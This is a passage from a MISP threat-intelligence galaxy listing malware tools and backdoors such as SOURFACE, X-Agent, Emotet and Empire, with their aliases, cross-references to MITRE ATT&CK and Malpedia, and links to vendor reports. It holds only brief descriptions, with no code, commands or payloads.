- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 3924. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

SOURFACE

downloader - Older version of CORESHELL

The tag is: *misp-galaxy:tool="SOURFACE"*

SOURFACE is also known as:

- Sofacy

SOURFACE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 3925. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

OLDBAIT

credential harvester

The tag is: *misp-galaxy:tool="OLDBAIT"*

OLDBAIT is also known as:

- Sasfis
- BackDoor-FDU
- IEChecker

OLDBAIT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="OLDBAIT - S0138" with estimative-language:likelihood-probability="likely"

Table 3926. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_sasfis.tl
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

CORESHELL

downloader - Newer version of SOURFACE

The tag is: *misp-galaxy:tool="CORESHELL"*

CORESHELL is also known as:

- Sofacy

CORESHELL has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CORESHELL - S0137" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="GAMEFISH" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Komplex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Seduploader" with estimative-language:likelihood-probability="likely"

Table 3927. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

Havex RAT

The tag is: *misp-galaxy:tool="Havex RAT"*

Havex RAT is also known as:

- Havex

Havex RAT has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Backdoor.Oldrea - S0093" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Havex RAT" with estimative-language:likelihood-probability="likely"

KjW0rm

RAT initially written in VB.

The tag is: *misp-galaxy:tool="KjW0rm"*

KjW0rm has relationships with:

- similar: misp-galaxy:rat="KjW0rm" with estimative-language:likelihood-probability="likely"

Table 3928. Table References

Links
https://www.sentinelone.com/blog/understanding-kjw0rm-malware-we-dive-in-to-the-tv5-cyber-attack/

TinyTyphon

The tag is: *misp-galaxy:tool="TinyTyphon"*

TinyTyphon has relationships with:

- similar: misp-galaxy:malpedia="TinyTyphon" with estimative-language:likelihood-probability="likely"

Badnews

The tag is: *misp-galaxy:tool="Badnews"*

LURK

The tag is: *misp-galaxy:tool="LURK"*

Oldrea

The tag is: *misp-galaxy:tool="Oldrea"*

AmmyAdmin

The tag is: *misp-galaxy:tool="AmmyAdmin"*

Matryoshka

The tag is: *misp-galaxy:tool="Matryoshka"*

Matryoshka has relationships with:

- similar: misp-galaxy:rat="Matryoshka" with estimative-language:likelihood-probability="likely"

TinyZBot

The tag is: *misp-galaxy:tool="TinyZBot"*

TinyZBot has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="TinyZBot - S0004" with estimative-language:likelihood-probability="likely"

GHOLE

The tag is: *misp-galaxy:tool="GHOLE"*

CWoolger

The tag is: *misp-galaxy:tool="CWoolger"*

FireMalv

The tag is: *misp-galaxy:tool="FireMalv"*

FireMalv has relationships with:

- similar: misp-galaxy:malpedia="FireMalv" with estimative-language:likelihood-probability="likely"

Regin

Regin (also known as Prax or WarriorPride) is a sophisticated malware toolkit revealed by Kaspersky Lab, Symantec, and The Intercept in November 2014. The malware targets specific users of Microsoft Windows-based computers and has been linked to the US intelligence gathering agency NSA and its British counterpart, the GCHQ. The Intercept provided samples of Regin for download including malware discovered at Belgian telecommunications provider, Belgacom. Kaspersky Lab says it first became aware of Regin in spring 2012, but that some of the earliest samples date from 2003. The name Regin is first found on the VirusTotal website on 9 March 2011.

The tag is: *misp-galaxy:tool="Regin"*

Regin is also known as:

- Prax
- WarriorPride

Regin has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Regin - S0019" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Regin" with estimative-language:likelihood-probability="likely"

Table 3929. Table References

Links
https://en.wikipedia.org/wiki/Regin_(malware)

Duqu

The tag is: *misp-galaxy:tool="Duqu"*

Duqu has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Duqu - S0038" with estimative-language:likelihood-probability="likely"

Flame

The tag is: *misp-galaxy:tool="Flame"*

Flame has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Flame - S0143" with estimative-language:likelihood-probability="likely"

Stuxnet

The tag is: *misp-galaxy:tool="Stuxnet"*

Stuxnet has relationships with:

- similar: misp-galaxy:malpedia="Stuxnet" with estimative-language:likelihood-probability="likely"

EquationLaser

The tag is: *misp-galaxy:tool="EquationLaser"*

EquationDrug

The tag is: *misp-galaxy:tool="EquationDrug"*

EquationDrug has relationships with:

- similar: misp-galaxy:malpedia="EquationDrug" with estimative-language:likelihood-probability="likely"

DoubleFantasy

The tag is: *misp-galaxy:tool="DoubleFantasy"*

TripleFantasy

The tag is: *misp-galaxy:tool="TripleFantasy"*

Fanny

The tag is: *misp-galaxy:tool="Fanny"*

Fanny has relationships with:

- similar: misp-galaxy:malpedia="Fanny" with estimative-language:likelihood-probability="likely"

GrayFish

The tag is: *misp-galaxy:tool="GrayFish"*

Babar

The tag is: *misp-galaxy:tool="Babar"*

Babar has relationships with:

- similar: misp-galaxy:malpedia="Babar" with estimative-language:likelihood-probability="likely"

Bunny

The tag is: *misp-galaxy:tool="Bunny"*

Casper

The tag is: *misp-galaxy:tool="Casper"*

Casper has relationships with:

- similar: misp-galaxy:malpedia="Casper" with estimative-language:likelihood-probability="likely"

NBot

The tag is: *misp-galaxy:tool="NBot"*

Tafacalou

The tag is: *misp-galaxy:tool="Tafacalou"*

Tdrop

The tag is: *misp-galaxy:tool="Tdrop"*

Troy

The tag is: *misp-galaxy:tool="Troy"*

Tdrop2

The tag is: *misp-galaxy:tool="Tdrop2"*

ZXShell

The tag is: *misp-galaxy:tool="ZXShell"*

ZXShell is also known as:

- Sensode

ZXShell has relationships with:

- similar: misp-galaxy:malpedia="ZXShell" with estimative-language:likelihood-probability="likely"

Table 3930. Table References

Links
http://www.fireeye.com/blog/uncategorized/2014/02/operation-snowman-deputydog-actor-compromises-us-veterans-of-foreign-wars-website.html

T9000

The tag is: *misp-galaxy:tool="T9000"*

T9000 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="T9000 - S0098" with estimative-language:likelihood-probability="likely"

Table 3931. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/

T5000

The tag is: *misp-galaxy:tool="T5000"*

T5000 is also known as:

- Plat1

Table 3932. Table References

Links
http://www.cylance.com/techblog/Grand-Theft-Auto-Panda.shtml

Taidoor

The tag is: *misp-galaxy:tool="Taidoor"*

Taidoor has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Taidoor - S0011" with estimative-language:likelihood-probability="likely"

Table 3933. Table References

Links
http://www.symantec.com/connect/blogs/trojantaidoor-takes-aim-policy-think-tanks

Swisyn

The tag is: *misp-galaxy:tool="Swisyn"*

Table 3934. Table References

Links
http://labs.alienvault.com/labs/index.php/2013/latest-adobe-pdf-exploit-used-to-target-uyghur-and-tibetan-activists/

Rekaf

The tag is: *misp-galaxy:tool="Rekaf"*

Table 3935. Table References

Links
https://www.proofpoint.com/us/exploring-bergard-old-malware-new-tricks

Scieron

The tag is: *misp-galaxy:tool="Scieron"*

SkeletonKey

The tag is: *misp-galaxy:tool="SkeletonKey"*

Table 3936. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/skeleton-key-malware-analysis/

Skyipot

The tag is: *misp-galaxy:tool="Skyipot"*

Table 3937. Table References

Links
http://labs.alienvault.com/labs/index.php/2011/another-sykipot-sample-likely-targeting-us-federal-agencies/

Spindest

The tag is: *misp-galaxy:tool="Spindest"*

Table 3938. Table References

Links
http://www.threatconnect.com/news/threatconnect-enables-healthy-networking-biomed-life-sciences-industry/

Preshin

The tag is: *misp-galaxy:tool="Preshin"*

Oficla

The tag is: *misp-galaxy:tool="Oficla"*

Oficla has relationships with:

- similar: misp-galaxy:botnet="BredoLab" with estimative-language:likelihood-probability="likely"

PCClient RAT

The tag is: *misp-galaxy:tool="PCClient RAT"*

Table 3939. Table References

Links

http://researchcenter.paloaltonetworks.com/2014/10/new-indicators-compromise-apt-group-nitro-uncovered/

Plexor

The tag is: *misp-galaxy:tool="Plexor"*

Plexor has relationships with:

- similar: misp-galaxy:malpedia="Plexor" with estimative-language:likelihood-probability="likely"

Mongall

The tag is: *misp-galaxy:tool="Mongall"*

Table 3940. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

NeD Worm

The tag is: *misp-galaxy:tool="NeD Worm"*

NeD Worm has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="DustySky - S0062" with estimative-language:likelihood-probability="likely"

Table 3941. Table References

Links
http://www.clearskysec.com/dustysky/

NewCT

The tag is: *misp-galaxy:tool="NewCT"*

NewCT has relationships with:

- similar: misp-galaxy:malpedia="NewCT" with estimative-language:likelihood-probability="likely"

Table 3942. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Nflog

The tag is: *misp-galaxy:tool="Nflog"*

Table 3943. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Janicab

The tag is: *misp-galaxy:tool="Janicab"*

Janicab has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Janicab - S0163" with estimative-language:likelihood-probability="likely"

Table 3944. Table References

Links
http://blog.avast.com/2013/07/22/multisystem-trojan-janicab-attacks-windows-and-macosx-via-scripts/

Jripbot

The tag is: *misp-galaxy:tool="Jripbot"*

Jripbot is also known as:

- Jiripbot

Table 3945. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/butterfly-corporate-spies-out-for-financial-gain.pdf

Jolob

The tag is: *misp-galaxy:tool="Jolob"*

Jolob has relationships with:

- similar: misp-galaxy:malpedia="Jolob" with estimative-language:likelihood-probability="likely"

Table 3946. Table References

Links

http://pwc.blogs.com/cyber_security_updates/2014/10/scanbox-framework-whos-affected-and-whos-using-it-1.html

IsSpace

The tag is: *misp-galaxy:tool="IsSpace"*

IsSpace has relationships with:

- similar: misp-galaxy:malpedia="IsSpace" with estimative-language:likelihood-probability="likely"

Table 3947. Table References

Links
https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html

Emotet

The tag is: *misp-galaxy:tool="Emotet"*

Emotet is also known as:

- Geodo

Emotet has relationships with:

- similar: misp-galaxy:banker="Geodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Geodo" with estimative-language:likelihood-probability="likely"

Table 3948. Table References

Links
https://securelist.com/analysis/publications/69560/the-banking-trojan-emotet-detailed-analysis/
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet
https://www.bleepingcomputer.com/news/security/emotet-returns-with-thanksgiving-theme-and-better-phishing-tricks/
https://cofense.com/major-us-financial-institutions-imitated-advanced-geodo-emotet-phishing-lures-appear-authentic-containing-proofpoint-url-wrapped-links/

Hoardy

The tag is: *misp-galaxy:tool="Hoardy"*

Hoardy is also known as:

- Hoarde

- Phindolp
- BS2005

Hoardy has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="BS2005 - S0014" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="BS2005" with estimative-language:likelihood-probability="likely"

Table 3949. Table References

Links
https://github.com/nccgroup/Royal_APT

Htran

HUC Packet Transmitter (HTran) is a proxy tool, used to intercept and redirect Transmission Control Protocol (TCP) connections from the local host to a remote host. This makes it possible to obfuscate an attacker's communications with victim networks. The tool has been freely available on the internet since at least 2009. HTran facilitates TCP connections between the victim and a hop point controlled by an attacker. Malicious cyber actors can use this technique to redirect their packets through multiple compromised hosts running HTran, to gain greater access to hosts in a network

The tag is: *misp-galaxy:tool="Htran"*

Htran is also known as:

- HUC Packet Transmitter
- HTran

Table 3950. Table References

Links
http://www.secureworks.com/research/threats/htran/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

HTTPBrowser

The tag is: *misp-galaxy:tool="HTTPBrowser"*

HTTPBrowser is also known as:

- TokenControl

HTTPBrowser has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="HTTPBrowser - S0070" with estimative-language:likelihood-probability="likely"

Table 3951. Table References

Links
https://www.threatstream.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop

Disgufa

The tag is: *misp-galaxy:tool="Disgufa"*

Elirks

The tag is: *misp-galaxy:tool="Elirks"*

Elirks has relationships with:

- similar: misp-galaxy:malpedia="Elirks" with estimative-language:likelihood-probability="likely"

Snifula

The tag is: *misp-galaxy:tool="Snifula"*

Snifula is also known as:

- Ursnif

Snifula has relationships with:

- similar: misp-galaxy:banker="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"

Table 3952. Table References

Links
https://www.circl.lu/pub/tr-13/

Aumlib

The tag is: *misp-galaxy:tool="Aumlib"*

Aumlib is also known as:

- Yayih

- mswab
- Graftor

Aumlib has relationships with:

- similar: misp-galaxy:malpedia="Graftor" with estimative-language:likelihood-probability="likely"

Table 3953. Table References

Links
http://www.cybersquared.com/killing-with-a-borrowed-knife-chaining-core-cloud-service-profile-infrastructure-for-cyber-attacks

CTRat

The tag is: *misp-galaxy:tool="CTRat"*

Table 3954. Table References

Links
http://www.fireeye.com/blog/technical/threat-intelligence/2014/07/spy-of-the-tiger.html

Emdivi

The tag is: *misp-galaxy:tool="Emdivi"*

Emdivi is also known as:

- Newsripper

Emdivi has relationships with:

- similar: misp-galaxy:malpedia="Emdivi" with estimative-language:likelihood-probability="likely"

Table 3955. Table References

Links
http://www.symantec.com/connect/blogs/operation-cloudyomega-ichitaro-zero-day-and-ongoing-cyberespionage-campaign-targeting-japan

Etumbot

The tag is: *misp-galaxy:tool="Etumbot"*

Etumbot is also known as:

- Exploz

- Specfix
- RIPTIDE

Etumbot has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="RIPTIDE - S0003" with estimative-language:likelihood-probability="likely"

Table 3956. Table References

Links
www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf[www.arbornetworks.com/asert/wp-content/uploads/2014/06/ASERT-Threat-Intelligence-Brief-2014-07-Illuminating-Etumbot-APT.pdf]

Fexel

The tag is: *misp-galaxy:tool="Fexel"*

Fexel is also known as:

- Loneagent

Fysbis

The tag is: *misp-galaxy:tool="Fysbis"*

Table 3957. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/a-look-into-fysbis-sofacys-linux-backdoor/

Hikit

The tag is: *misp-galaxy:tool="Hikit"*

Hikit has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Hikit - S0009" with estimative-language:likelihood-probability="likely"

Table 3958. Table References

Links
https://blog.bit9.com/2013/02/25/bit9-security-incident-update/

Hancitor

The tag is: *misp-galaxy:tool="Hancitor"*

Hancitor is also known as:

- Tordal
- Chanitor
- Pony

Hancitor has relationships with:

- similar: misp-galaxy:malpedia="Hancitor" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Fareit" with estimative-language:likelihood-probability="likely"

Table 3959. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

Ruckguv

The tag is: *misp-galaxy:tool="Ruckguv"*

Ruckguv has relationships with:

- similar: misp-galaxy:malpedia="Ruckguv" with estimative-language:likelihood-probability="likely"

Table 3960. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/hancitor-ruckguv-reappear

HerHer Trojan

The tag is: *misp-galaxy:tool="HerHer Trojan"*

Table 3961. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

Helminth backdoor

The tag is: *misp-galaxy:tool="Helminth backdoor"*

Table 3962. Table References

Links

http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/

HDRoot

The tag is: *misp-galaxy:tool="HDRoot"*

Table 3963. Table References

Links
http://williamshowalter.com/a-universal-windows-bootkit/

IRONGATE

The tag is: *misp-galaxy:tool="IRONGATE"*

Table 3964. Table References

Links
https://www.fireeye.com/blog/threat-research/2016/06/irongate_ics_malware.html

ShimRAT

The tag is: *misp-galaxy:tool="ShimRAT"*

Table 3965. Table References

Links
https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf

X-Agent

APT28's second-stage persistent macOS backdoor. This backdoor component is known to have a modular structure featuring various espionage functionalities, such as key-logging, screen grabbing and file exfiltration. This component is available for Osx, Windows, Linux and iOS operating systems.

Xagent is a modular backdoor with spying functionalities such as keystroke logging and file exfiltration. Xagent is the group's flagship backdoor and heavily used in their operations. Early versions for Linux and Windows were seen years ago, then in 2015 an iOS version came out. One year later, an Android version was discovered and finally, in the beginning of 2017, an Xagent sample for OS X was described.

The tag is: *misp-galaxy:tool="X-Agent"*

X-Agent is also known as:

- XAgent

X-Agent has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CHOPSTICK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent" with estimative-language:likelihood-probability="likely"

Table 3966. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-update-ios-espionage-app-found/
https://app.box.com/s/l7n781ig6n8wlf1aff5hgwbh4qoi5jqq
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/
https://objective-see.com/blog/blog_0x25.html#XAgent

X-Tunnel

The tag is: *misp-galaxy:tool="X-Tunnel"*

X-Tunnel is also known as:

- XTunnel

X-Tunnel has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="XTunnel - S0117" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Tunnel" with estimative-language:likelihood-probability="likely"

Foozer

The tag is: *misp-galaxy:tool="Foozer"*

Table 3967. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

WinIDS

The tag is: *misp-galaxy:tool="WinIDS"*

Table 3968. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

DownRange

The tag is: *misp-galaxy:tool="DownRange"*

Table 3969. Table References

Links
https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/

Mad Max

The tag is: *misp-galaxy:tool="Mad Max"*

Mad Max has relationships with:

- similar: misp-galaxy:botnet="Madmax" with estimative-language:likelihood-probability="likely"

Table 3970. Table References

Links
https://www.arbornetworks.com/blog/asert/mad-max-dga/

Crimson

Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims

The tag is: *misp-galaxy:tool="Crimson"*

Crimson has relationships with:

- similar: misp-galaxy:rat="Crimson" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="Crimson - S0115" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Crimson" with estimative-language:likelihood-probability="likely"

Table 3971. Table References

Links
https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf
https://www.amnesty.org/download/Documents/ASA3383662018ENGLISH.PDF

Prikormka

Operation Groundbait based on our research into the Prikormka malware family. This includes detailed technical analysis of the Prikormka malware family and its spreading mechanisms, and a description of the most noteworthy attack campaigns.

The tag is: *misp-galaxy:tool="Prikormka"*

Prikormka has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Prikormka - S0113" with estimative-language:likelihood-probability="likely"

Table 3972. Table References

Links
http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf

NanHaiShu

This whitepaper details a malicious program we identify as NanHaiShu. Based on our analysis, the threat actor behind this malware targets government and private-sector organizations.

The tag is: *misp-galaxy:tool="NanHaiShu"*

NanHaiShu has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="NanHaiShu - S0228" with estimative-language:likelihood-probability="likely"

Table 3973. Table References

Links
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf

Umbreon

Umbreon (sharing the same name as the Pokémon) targets Linux systems, including systems running both Intel and ARM processors, expanding the scope of this threat to include embedded devices as well.

The tag is: *misp-galaxy:tool="Umbreon"*

Umbreon has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Umbreon - S0221" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Umbreon" with estimative-language:likelihood-probability="likely"

Table 3974. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/

Odinaff

Odinaff is typically deployed in the first stage of an attack, to gain a foothold onto the network, providing a persistent presence and the ability to install additional tools onto the target network. These additional tools bear the hallmarks of a sophisticated attacker which has plagued the financial industry since at least 2013–Carbanak. This new wave of attacks has also used some infrastructure that has previously been used in Carbanak campaigns.

The tag is: *misp-galaxy:tool="Odinaff"*

Odinaff has relationships with:

- similar: misp-galaxy:malpedia="Odinaff" with estimative-language:likelihood-probability="likely"

Table 3975. Table References

Links
https://www.symantec.com/connect/blogs/odinaff-new-trojan-used-high-level-financial-attacks

Hworm

Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign.

The tag is: *misp-galaxy:tool="Hworm"*

Hworm is also known as:

- Houdini

Hworm has relationships with:

- similar: misp-galaxy:malpedia="Hworm" with estimative-language:likelihood-probability="likely"

Table 3976. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/

Backdoor.Dripion

Backdoor.Dripion was custom developed, deployed in a highly targeted fashion, and used command and control servers disguised as antivirus company websites.

The tag is: *misp-galaxy:tool="Backdoor.Dripion"*

Backdoor.Dripion is also known as:

- Dripion

Table 3977. Table References

Links
http://www.symantec.com/connect/blogs/taiwan-targeted-new-cyberespionage-back-door-trojan

Adwind

Adwind is a backdoor written purely in Java that targets system supporting the Java runtime environment. Commands that can be used, among other things, to display messages on the system, open URLs, update the malware, download/execute files, and download/load plugins. A significant amount of additional functionality can be provided through downloadable plugins, including such things as remote control options and shell command execution.

The tag is: *misp-galaxy:tool="Adwind"*

Adwind is also known as:

- AlienSpy
- Frutas
- Unrecom
- Sockrat
- JSocket
- jRat
- Backdoor:Java/Adwind

Adwind has relationships with:

- similar: misp-galaxy:rat="Adwind RAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Adwind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sockrat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="AdWind" with estimative-language:likelihood-probability="likely"

Table 3978. Table References

Links

https://securelist.com/blog/research/73660/adwind-faq/

Bedep

The tag is: *misp-galaxy:tool="Bedep"*

Bedep has relationships with:

- similar: misp-galaxy:malpedia="Bedep" with estimative-language:likelihood-probability="likely"

Cromptui

The tag is: *misp-galaxy:tool="Cromptui"*

Dridex

Dridex is a strain of banking malware that leverages macros in Microsoft Office to infect systems. Once a computer has been infected, Dridex attackers can steal banking credentials and other personal information on the system to gain access to the financial records of a user.

The tag is: *misp-galaxy:tool="Dridex"*

Dridex is also known as:

- Cridex

Dridex has relationships with:

- similar: misp-galaxy:banker="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Feodo" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Bugat" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"

Table 3979. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dridex-financial-trojan.pdf

Fareit

The tag is: *misp-galaxy:tool="Fareit"*

Fareit has relationships with:

- similar: misp-galaxy:malpedia="Pony" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="Hancitor" with estimative-language:likelihood-probability="likely"

Gafgyt

The tag is: *misp-galaxy:tool="Gafgyt"*

Gafgyt has relationships with:

- similar: misp-galaxy:malpedia="Bashlite" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Gafgyt" with estimative-language:likelihood-probability="likely"

Gamarue

The tag is: *misp-galaxy:tool="Gamarue"*

Gamarue is also known as:

- Andromeda

Gamarue has relationships with:

- similar: misp-galaxy:malpedia="Andromeda" with estimative-language:likelihood-probability="likely"

Table 3980. Table References

Links
https://blog.gdatasoftware.com/2015/03/24274-the-andromeda-gamarue-botnet-is-on-the-rise-again

Necurs

The Necurs botnet is a distributor of many pieces of malware, most notably Locky.

The tag is: *misp-galaxy:tool="Necurs"*

Necurs has relationships with:

- similar: misp-galaxy:malpedia="Necurs" with estimative-language:likelihood-probability="likely"

Table 3981. Table References

Links
https://en.wikipedia.org/wiki/Necurs_botnet
https://www.bleepingcomputer.com/news/security/worlds-largest-spam-botnet-finds-a-new-way-to-avoid-detection-for-now/

Palevo

The tag is: *misp-galaxy:tool="Palevo"*

Akbot

The tag is: *misp-galaxy:tool="Akbot"*

Akbot is also known as:

- Qbot
- Qakbot
- PinkSlipBot

Akbot has relationships with:

- similar: misp-galaxy:banker="Qakbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Akbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"

Table 3982. Table References

Links
https://en.wikipedia.org/wiki/Akbot

Upatre

Upatre is a Trojan downloader that is used to set up other threats on the victim's PC. Upatre has been used recently in several high profile Trojan attacks involving the Gameover Trojan.

The tag is: *misp-galaxy:tool="Upatre"*

Upatre has relationships with:

- similar: misp-galaxy:malpedia="Upatre" with estimative-language:likelihood-probability="likely"

Vawtrak

Vawtrak is an information stealing malware family that is primarily used to gain unauthorised access to bank accounts through online banking websites.

The tag is: *misp-galaxy:tool="Vawtrak"*

Vawtrak has relationships with:

- similar: misp-galaxy:banker="Vawtrak" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"

Table 3983. Table References

Links
https://www.sophos.com/medialibrary/PDFs/technical%20papers/sophos-vawtrak-international-crimeware-as-a-service-tpna.pdf

Empire

Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture. Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework

The tag is: *misp-galaxy:tool="Empire"*

Empire has relationships with:

- similar: misp-galaxy:exploit-kit="Empire" with estimative-language:likelihood-probability="likely"

Table 3984. Table References

Links
https://github.com/adaptivethreat/Empire

Explosive

Beginning in late 2012, a carefully orchestrated attack campaign we call Volatile Cedar has been targeting individuals, companies and institutions worldwide. This campaign, led by a persistent attacker group, has successfully penetrated a large number of targets using various attack techniques, and specifically, a custom-made malware implant codenamed Explosive.

The tag is: *misp-galaxy:tool="Explosive"*

Table 3985. Table References

Links
https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf

KeyBoy

The actors used a new version of “KeyBoy,” a custom backdoor first disclosed by researchers at Rapid7 in June 2013. Their work outlined the capabilities of the backdoor, and exposed the protocols and algorithms used to hide the network communication and configuration data

The tag is: *misp-galaxy:tool="KeyBoy"*

KeyBoy has relationships with:

